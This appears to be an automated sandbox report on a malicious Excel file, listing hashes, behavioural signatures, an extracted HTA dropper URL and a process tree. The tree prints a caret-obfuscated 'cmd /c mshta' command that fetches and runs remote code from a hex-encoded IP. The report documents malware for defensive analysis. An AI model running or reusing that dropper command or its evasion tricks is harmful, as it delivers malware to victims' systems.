Analysis

  • max time kernel
    133s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-11-2024 08:32

General

  • Target

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

  • SSDEEP

    1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4912
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1760
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        PID:1692

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    5aa77b0cb22eb611a91686c1fc5c3ff7

    SHA1

    333e00b6bb113fbf376e8e6f2e94a1095e5a9464

    SHA256

    7bc7445e02a362186944771c73e254d1eab8d6c0eafe4e9076680ddbc4fd4a34

    SHA512

    e1bf1cdfdf8c98ba9ed80e4ac441f45e01d7f3084cc94db74ffacc5907d705997f80fc9924effbae7efc2b3e885ac7beb3db999b859c66a2d835dbc337912c32

  • memory/4912-7-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4912-1-0x00007FFEE514D000-0x00007FFEE514E000-memory.dmp

    Filesize

    4KB

  • memory/4912-10-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4912-11-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4912-4-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

    Filesize

    64KB

  • memory/4912-5-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4912-8-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

    Filesize

    64KB

  • memory/4912-0-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

    Filesize

    64KB

  • memory/4912-2-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

    Filesize

    64KB

  • memory/4912-3-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

    Filesize

    64KB

  • memory/4912-6-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4912-12-0x00007FFEA2BB0000-0x00007FFEA2BC0000-memory.dmp

    Filesize

    64KB

  • memory/4912-13-0x00007FFEA2BB0000-0x00007FFEA2BC0000-memory.dmp

    Filesize

    64KB

  • memory/4912-24-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4912-25-0x00007FFEE514D000-0x00007FFEE514E000-memory.dmp

    Filesize

    4KB

  • memory/4912-26-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4912-27-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4912-9-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

    Filesize

    2.0MB